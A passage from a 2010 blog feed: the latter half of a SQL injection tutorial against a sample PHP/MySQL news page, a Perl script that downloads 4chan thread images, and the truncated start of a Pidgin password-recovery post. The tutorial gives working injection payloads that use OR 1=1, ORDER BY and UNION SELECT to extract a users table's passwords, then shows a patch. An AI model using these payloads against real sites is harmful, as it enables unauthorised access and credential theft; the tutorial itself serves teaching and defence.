3
4
5
6
7
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; DESCRIBE news;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id    | int(11)      | YES  |     | NULL    |       |
| text  | varchar(100) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+</pre></td></tr></table></div></div>

<p>Notice the contents of the column <em>text</em> are retrieved in the script above.</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT * FROM news;
+------+--------------------------+
| id   | text                     |
+------+--------------------------+
|    1 | A News Article           |
|    2 | Another News Article     |
|    3 | Yet Another News Article |
+------+--------------------------+</pre></td></tr></table></div></div>

<p>Visiting <em>http://localhost/index.php?id=2</em> would show us: <em>Another News Article</em> on the webpage.<br />
Visiting <em>http://localhost/index.php?id=4</em> (non-existent id) shows us nothing except the links from <em>menu.html</em>.<br />
<br />
<strong><font size="3px">Exploiting the vulnerability</font></strong><br />
Instead of make it error, let&#8217;s see what happens when we insert <em>&#8216; OR 1=1 &#8212; </em> for the id. This makes our query:<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=<strong><font color='#009900'>&#8216;</font></strong><strong><font color='#009900'>&#8216;</font></strong>OR 1=1 &#8212; <strong><font color='#edd400'>&#8216;</font></strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
The second yellow quote is &#8216;our&#8217; quote again. Once more, double dashes followed by a space!<br />
This prints:<br />
<strong>
<p>A News Article</p>
<p>Another News Article</p>
<p>Yet Another News Article</p>
<p></strong><br />
So, clearly our injection is working, as it is returning everything in the <em>text</em> column from the <em>news</em> table.<br />
We can use this vulnerability to find login credentials if there turns out to be an users table (the users table will be the same as in the first login example in our example). We&#8217;re going to use MySQL&#8217;s <em>UNION SELECT</em> to achieve this goal. <em>UNION SELECT</em> allows you to select multiple entries in one query.<br />
A regular <em>SELECT</em> statement:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT id,username FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
+------+----------+</pre></td></tr></table></div></div>

<p><em>UNION ALL SELECT</em> statement:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT id,username FROM users UNION ALL SELECT id,password FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
|    1 | root     |
|    2 | password |
+------+----------+</pre></td></tr></table></div></div>

<p><em>UNION SELECT</em> statement (compare this with the one above):</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT id,username FROM users UNION SELECT id,password FROM users;
+------+----------+
| id   | username |
+------+----------+
|    1 | root     |
|    2 | username |
|    2 | password |
+------+----------+</pre></td></tr></table></div></div>

<p>As you can see, <em>UNION ALL</em> includes duplicates as well, unlike <em>UNION</em>.<br />
<br />
In this example, the users table contains the login credentials. However, table names may vary and often call for the necessary guessing. Another way to find out about table names is through Information_Schema, however, we&#8217;ll not dig into these techniques, as you can look them up (injection cheat sheets, see above) and will easily understand them using your basic SQL injection knowledge.<br />
<br />
Now, you might have noticed that in the <em>UNION SELECT</em> statements above, the amount of columns retrieved in the <em>SELECT</em> and the <em>UNION SELECT</em> statements are equal (2). This <strong>must</strong> always be the case.<br />
<br />
Now, how do you find the amount of columns retrieved?<br />
Using <em>ORDER BY</em>.<br />
<em>ORDER BY</em> allows you to sort results alphabetically based on their first letter, for example.<br />
Take a look at these queries to see what I mean:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT text,id FROM news ORDER BY 2 DESC;
+--------------------------+------+
| text                     | id   |
+--------------------------+------+
| Yet Another News Article |    3 |
| Another News Article     |    2 |
| A News Article           |    1 |
+--------------------------+------+</pre></td></tr></table></div></div>

<p>We&#8217;ve ordered our results based upon the second column, id (notice <em>ORDER BY <strong>2</strong></em>) in a descending order (3 -> 1). But what would happen when we order by a non-existent column?</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT text,id FROM news ORDER BY 3;
ERROR 1054 (42S22): Unknown column '3' in 'order clause'</pre></td></tr></table></div></div>

<p>An error, this means we can find out how many columns are retrieved through a SQL injection, because it throws an error when we have exceeded the limit!<br />
The query in the script:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT * FROM news WHERE id='<span style="color: #99FF00;">$id</span>'&quot;</span><span style="color: #CCC;">&#41;</span></pre></td></tr></table></div></div>

<p>Selecting everything from the table news (2 columns, as I&#8217;ve shown above, but as the attacker you wouldn&#8217;t know this of course) .<br />
And then we get out only the contents of the <em>text</em> column:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #3D9EDD;">echo</span> <span style="color: #7ACC00;">&quot;&lt;H3&gt;&lt;center&gt;&quot;</span> <span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$row</span><span style="color: #CCC;">&#91;</span><span style="color: #7ACC00;">'text'</span><span style="color: #CCC;">&#93;</span> <span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;&lt;/center&gt;&lt;br&gt;&lt;/H3&gt;&quot;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Notice $row['text']</span></pre></td></tr></table></div></div>

<p>So, it may seem like the table contains one column, since only one is printed, but this is clearly not the case.<br />
<br />
Now, let&#8217;s find the amount of columns through an injection.<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=<strong><font color='#009900'>&#8216;</font></strong>1<strong><font color='#009900'>&#8216;</font></strong>ORDER BY 1 &#8212; <strong><font color='#edd400'>&#8216;</font></strong><font color='#990000'>&#8220;</font></strong></em></H4> throws no error.<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=<strong><font color='#009900'>&#8216;</font></strong>1<strong><font color='#009900'>&#8216;</font></strong>ORDER BY 2 &#8212; <strong><font color='#edd400'>&#8216;</font></strong><font color='#990000'>&#8220;</font></strong></em></H4> doesn&#8217;t either.<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=<strong><font color='#009900'>&#8216;</font></strong>1<strong><font color='#009900'>&#8216;</font></strong>ORDER BY 3 &#8212; <strong><font color='#edd400'>&#8216;</font></strong><font color='#990000'>&#8220;</font></strong></em></H4> does, as we expected (remember <em>news</em> had two columns?).<br />
<br />
So, to test our <em>UNION SELECT</em> statement:<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=<strong><font color='#009900'>&#8216;</font></strong>-1<strong><font color='#009900'>&#8216;</font></strong>UNION SELECT 1,2 &#8212; <strong><font color='#edd400'>&#8216;</font></strong><font color='#990000'>&#8220;</font></strong></em></H4> This statement may need some explanation. Firstly, <em>1,2</em> because there were two columns. Secondly, I am using numbers here instead of username, password</em> , because I want to take it one step at the time. Using numbers allows us to leave out the table name, because MySQL doesn&#8217;t expect a column name now (we could have used strings like &#8216;a&#8217; as well). It&#8217;s like saying: &#8220;SELECT the digit 1&#8243; now.<br />
Thirdly, notice <em>WHERE  id=&#8217;-1&#8242;</em>, we want the results of the <em>UNION SELECT</em> statement, not those of the regular <em>SELECT</em> statement, so we make that statement return nothing.<br />
This seems to work, since it prints a big <em>2</em> on the webpage (Only printing the contents of the <em>text</em> column!). Consider this as well:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT * FROM news WHERE id=-1 UNION SELECT 1,2;
+------+------+
| id   | text |
+------+------+
|    1 | 2    |
+------+------+</pre></td></tr></table></div></div>

<p>This is the query, and then the script gets out only the text column, hence the <em>2</em>. Notice the column names are still id, text, this is because the first <em>SELECT</em> statement &#8216;makes them so&#8217;, the <em>UNION SELECT</em> statement doesn&#8217;t change them.<br />
<br />
Using a different number of columns (for example, <em>UNION SELECT 1,2,3</em> would have resulted in the following or similar error:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><div class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">The used SELECT statements have a different number of columns</pre></div></div></div>

<p>
Moving on&#8230;<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=<strong><font color='#009900'>&#8216;</font></strong>-1<strong><font color='#009900'>&#8216;</font></strong>UNION SELECT 1,2 FROM users &#8212; <strong><font color='#edd400'>&#8216;</font></strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
Still not putting in <em>username, password</em>, because I am testing for the right table name. If the table had not existed, it would print (remember <em>website</em> was our database?):</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><div class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">Table 'website.users' doesn't exist</pre></div></div></div>

<p>We now need to insert the column names of the table <em>users</em>. Again, this may involve guessing or looking at Information_Schema. This is very similar to finding table names.<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=<strong><font color='#009900'>&#8216;</font></strong>-1<strong><font color='#009900'>&#8216;</font></strong>UNION SELECT 1,username FROM users &#8212; <strong><font color='#edd400'>&#8216;</font></strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
I have only substituted the <em>2</em> here, because that&#8217;s the only one that&#8217;s printed out.<br />
This prints the following on the webpage:<br />
<strong>root<br />
username</strong><br />
Remember that the script prints out everything belonging to the column <em>text</em> (See the while loop in <em>index.php</em>). To clarify:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">CODE</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="code" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">mysql&gt; SELECT * FROM news WHERE id=-1 UNION SELECT 1,username FROM users;
+------+----------+
| id   | text     |
+------+----------+
|    1 | root     |
|    1 | username |
+------+----------+</pre></td></tr></table></div></div>

<p>Getting the password will be easy now:<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=<strong><font color='#009900'>&#8216;</font></strong>-1<strong><font color='#009900'>&#8216;</font></strong>UNION SELECT 1,password FROM users &#8212; <strong><font color='#edd400'>&#8216;</font></strong><font color='#990000'>&#8220;</font></strong></em></H4><br />
Note: passwords are usually hashed and will need to be cracked.<br />
<br />
<H2>One more example</H2><br />
<strong><font size="3px">Setup</font></strong><br />
This scenario is largely the same as the one above, yet one line has changed in the script:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>13
14
</pre></td><td class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #7AB9BE;">$id</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_real_escape_string</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$id</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Escape special characters such as '
</span><span style="color: #7AB9BE;">$result</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT * FROM news WHERE id=<span style="color: #99FF00;">$id</span>&quot;</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># No more quotes around $id</span></pre></td></tr></table></div></div>

<p>MySQL allows <em>$id</em> to be unquoted, only if it&#8217;s a digit. If it was a string, like in <em>login.php</em>, it would have to be quoted, because MySQL would render it as a column name otherwise. The use of <em>mysql_real_escape_string</em> makes sure that our malicious quotes are useless, since they will be seen as strings (\&#8217;), so they can&#8217;t close the <em>WHERE</em> clause anymore.<br />
<br />
<strong><font size="3px">Exploiting the vulnerability</font></strong><br />
You may think this would prevent an attack, but consider this:<br />
<H4><strong><em><font color='#990000'>&#8220;</font></strong>SELECT text FROM news WHERE id=-1 UNION SELECT 1,password FROM users<font color='#990000'>&#8220;</font></strong></em></H4><br />
Since there are no quotes wrapped around <em>$id</em>, MySQL thinks the <em>WHERE id=</em> clause has finished after the space following <em>-1</em>, thus leaving a vulnerability. Not at all safe!<br />
<br />
<H2>Patching</H2><br />
As we&#8217;ve seen above, you need a) quotes to make sure everything the user types will be handled as a string in the clause and b) a way to escape quotes. The solution is a combination of what we have seen above:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>13
14
15
</pre></td><td class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #7AB9BE;">$id</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_real_escape_string</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$id</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Escape special characters such as '
</span><span style="color: #33CC66;"># Again, this makes the use of quotes not a problem :)
</span><span style="color: #7AB9BE;">$result</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT * FROM news WHERE id='<span style="color: #99FF00;">$id</span>'&quot;</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span> <span style="color: #33CC66;"># Keep the quotes</span></pre></td></tr></table></div></div>

<p>The patch for <em>login.php</em> would be almost identical:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">PHP</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>15
16
17
</pre></td><td class="code"><pre class="php" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #7AB9BE;">$username</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_real_escape_string</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$username</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #7AB9BE;">$password</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_real_escape_string</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$password</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
<span style="color: #7AB9BE;">$result</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">mysql_query</span><span style="color: #CCC;">&#40;</span><span style="color: #7ACC00;">&quot;SELECT id FROM users WHERE username='<span style="color: #99FF00;">$username</span>' AND password='<span style="color: #99FF00;">$password</span>'&quot;</span><span style="color: #CCC;">&#41;</span> or <span style="color: #996699;">die</span><span style="color: #CCC;">&#40;</span><span style="color: #996699;">mysql_error</span><span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span></pre></td></tr></table></div></div>

<p>
That was it. I hope you&#8217;ve enjoyed the tutorial.<br />
If you have any remarks on this tutorial, please leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=706</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>4chan image/thread downloader (Perl)</title>
		<link>http://kaabel.net/blog/?p=148</link>
		<comments>http://kaabel.net/blog/?p=148#comments</comments>
		<pubDate>Tue, 05 Oct 2010 16:59:16 +0000</pubDate>
		<dc:creator>jolttz</dc:creator>
				<category><![CDATA[Perl]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[404]]></category>
		<category><![CDATA[4chan]]></category>
		<category><![CDATA[check]]></category>
		<category><![CDATA[download]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[seven]]></category>
		<category><![CDATA[thread]]></category>
		<category><![CDATA[upload]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[xp]]></category>

		<guid isPermaLink="false">http://blog.kaabel.net/?p=148</guid>
		<description><![CDATA[I wrote this script to download all images from a specified thread on an image board called 4chan. It stays running until 404 or canceled and re-checks every 30 seconds to see if there are any new uploads. Folder for the images will be created in the same directory as the script. Works for both, [...]]]></description>
			<content:encoded><![CDATA[<p>I wrote this script to download all images from a specified thread on an image board called <a title="4chan" href="http://www.4chan.org/" target="_blank">4chan</a>. It stays running until 404 or canceled and re-checks every 30 seconds to see if there are any new uploads. Folder for the images will be created in the same directory as the script. Works for both, Windows and Linux.<br />
<br />
4chan-thread-dl.pl</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">Perl</span><div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
</pre></td><td class="code"><pre class="perl" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;"><span style="color: #999;">#!/usr/bin/perl</span>
<span style="color: #999;">#    4chan-thread-dl.pl</span>
<span style="color: #999;"># Mon Oct 04 16:14:56 2010</span>
<span style="color: #999;"># jolttz{at}gmail{dot}com</span>
<span style="color: #999;"># Distributed under the terms of</span>
<span style="color: #999;"># the GNU General Public License</span>
<span style="color: #999;">#</span>
&nbsp;
<span style="color: #996600;">use</span> strict<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> warnings<span style="color: #CCC;">;</span>
<span style="color: #996600;">use</span> LWP<span style="color: #CCC;">::</span><span style="color: #FFF;">Simple</span> <span style="color: #996699;">qw</span><span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$ua</span> get getstore<span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #999;"># We want to see the progress of downloads</span>
<span style="color: #7AB9BE;">$ua</span><span style="color: #CCC;">-&gt;</span><span style="color: #FFF;">show_progress</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">1</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$url</span> <span style="color: #CCC;">=</span> <span style="color: #7AB9BE;">$ARGV</span><span style="color: #CCC;">&#91;</span><span style="color: #FFCC00;">0</span><span style="color: #CCC;">&#93;</span><span style="color: #CCC;">;</span>
<span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$run</span> <span style="color: #CCC;">=</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #999;"># Run while canceled</span>
run<span style="color: #CCC;">&#40;</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">while</span> <span style="color: #FFCC00;">1</span><span style="color: #CCC;">;</span>
&nbsp;
<span style="color: #996600;">sub</span> get_content <span style="color: #CCC;">&#123;</span>
    <span style="color: #3D9EDD;">my</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$url</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$thread</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">=</span> <span style="color: #0000ff;">@_</span><span style="color: #CCC;">;</span>
&nbsp;
    <span style="color: #999;"># Get content and...</span>
    <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$content</span> <span style="color: #CCC;">=</span> get<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$url</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
        <span style="color: #996699;">die</span> <span style="color: #7ACC00;">&quot;404: Not found!&quot;</span> <span style="color: #3D9EDD;">unless</span> <span style="color: #996699;">defined</span> <span style="color: #7AB9BE;">$content</span><span style="color: #CCC;">;</span>
&nbsp;
    <span style="color: #999;"># ...print to a file</span>
    <span style="color: #996699;">open</span> <span style="color: #CCC;">&#40;</span>CONT<span style="color: #CCC;">,</span> <span style="color: #7ACC00;">&quot;&gt;$thread<span style="color: #99FF00;">\/</span>$thread.html&quot;</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
    <span style="color: #996699;">print</span> CONT <span style="color: #7AB9BE;">$content</span><span style="color: #CCC;">;</span>
    <span style="color: #996699;">close</span> <span style="color: #CCC;">&#40;</span>CONT<span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
    <span style="color: #996699;">return</span> <span style="color: #7AB9BE;">$content</span><span style="color: #CCC;">;</span>
<span style="color: #CCC;">&#125;</span>
&nbsp;
<span style="color: #996600;">sub</span> run <span style="color: #CCC;">&#123;</span>
    <span style="color: #3D9EDD;">if</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$url</span> <span style="color: #CCC;">=~</span> <span style="color: #33CC66;">/http:\/\/boards.4chan.org\/[A-Z]{1,4}\/res\/(\d+)/i</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
        <span style="color: #7AB9BE;">$run</span><span style="color: #CCC;">++;</span>
&nbsp;
        <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$thread</span> <span style="color: #CCC;">=</span> <span style="color: #0000ff;">$1</span><span style="color: #CCC;">;</span>
&nbsp;
        <span style="color: #999;"># Make a directory for the images</span>
        <span style="color: #996699;">mkdir</span> <span style="color: #7AB9BE;">$thread</span><span style="color: #CCC;">,</span> 0755<span style="color: #CCC;">;</span>
&nbsp;
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Downloading content:<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
        <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">$content</span> <span style="color: #CCC;">=</span> get_content<span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">$url</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$thread</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
        <span style="color: #999;"># Split content to lines because we want to go</span>
        <span style="color: #999;"># through each line and see if there's an image we want</span>
        <span style="color: #3D9EDD;">my</span> <span style="color: #7AB9BE;">@content_lines</span> <span style="color: #CCC;">=</span> <span style="color: #996699;">split</span> <span style="color: #33CC66;">/\n/</span><span style="color: #CCC;">,</span> <span style="color: #7AB9BE;">$content</span><span style="color: #CCC;">;</span>
&nbsp;
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>Download location: &quot;</span><span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$thread</span><span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
&nbsp;
        <span style="color: #999;"># Go through each line</span>
        <span style="color: #3D9EDD;">foreach</span> <span style="color: #CCC;">&#40;</span><span style="color: #7AB9BE;">@content_lines</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
            <span style="color: #999;"># If we see an image</span>
            <span style="color: #3D9EDD;">if</span>  <span style="color: #CCC;">&#40;</span><span style="color: #33CC66;">/&quot;(http:\/\/images.4chan.org\/[A-Z]{1,4}\/src\/(\d+\.(jpg|png|gif)))&quot;/i</span><span style="color: #CCC;">&#41;</span> <span style="color: #CCC;">&#123;</span>
                <span style="color: #999;"># Store the image unless it already exists</span>
                getstore<span style="color: #CCC;">&#40;</span><span style="color: #0000ff;">$1</span><span style="color: #CCC;">,</span> <span style="color: #7ACC00;">&quot;$thread<span style="color: #99FF00;">\/</span>$2&quot;</span><span style="color: #CCC;">&#41;</span> <span style="color: #3D9EDD;">unless</span> <span style="color: #CCC;">-</span>e <span style="color: #7ACC00;">&quot;$thread<span style="color: #99FF00;">\/</span>$2&quot;</span><span style="color: #CCC;">;</span>
            <span style="color: #CCC;">&#125;</span>
        <span style="color: #CCC;">&#125;</span>
&nbsp;
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Sleeping for 30 seconds before run #&quot;</span><span style="color: #CCC;">.</span> <span style="color: #7AB9BE;">$run</span><span style="color: #CCC;">.</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
        <span style="color: #996699;">sleep</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">30</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
&nbsp;
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span> <span style="color: #3D9EDD;">else</span> <span style="color: #CCC;">&#123;</span>
        <span style="color: #996699;">print</span> <span style="color: #7ACC00;">&quot;Usage: perl 4chan-thread-dl.pl<span style="color: #99FF00;">\n</span>&quot;</span><span style="color: #CCC;">;</span>
        <span style="color: #996699;">exit</span><span style="color: #CCC;">&#40;</span><span style="color: #FFCC00;">0</span><span style="color: #CCC;">&#41;</span><span style="color: #CCC;">;</span>
    <span style="color: #CCC;">&#125;</span>
<span style="color: #CCC;">&#125;</span></pre></td></tr></table></div></div>

<p>Usage:</p>

<div class="wp_syntax_wrapper"><span class="wp_syntax_lang">Perl</span><div class="wp_syntax"><div class="code"><pre class="perl" style="color: #FFF; font-family:&quot;Consolas&quot;,monospace,&quot;Courier New&quot;">$ perl 4chan<span style="color: #CCC;">-</span>thread<span style="color: #CCC;">-</span>dl<span style="color: #CCC;">.</span>pl</pre></div></div></div>

]]></content:encoded>
			<wfw:commentRss>http://kaabel.net/blog/?feed=rss2&#038;p=148</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pidgin password recovery for Linux and Windows (Perl)</title>
		<link>http://kaabel.net/blog/?p=135</link>
		<comments>http://kaabel.net/blog/?p=135#comments</comments>
		<pubDate>Sat, 02 Oct 2010 20:34:43 +0000</pubDate>
		<dc:creator>jolttz</dc:creator>
				<category><![CDATA[Bash]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[7]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[pidgin]]></category>
		<category><![CDATA[recovery]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[xp]]></category>

		<guid isPermaLink="false">http://blog.kaabel.net/?p=135</guid>
		<description><![CDATA[Forgot your Pidgin passwords? I wrote a script that can help you out. It has been tested on both, Windows XP and Linux. If I remember correctly, Application Data folder was in a different directory in Windows 7 so I&#8217;m not sure if it&#8217;ll work on it. For Windows you need to install ActivePerl or [...]]]></description>
			<content:encoded><![CDATA[<p>Forgot your Pidgin passwords? I wrote a script that can help you out.<br />
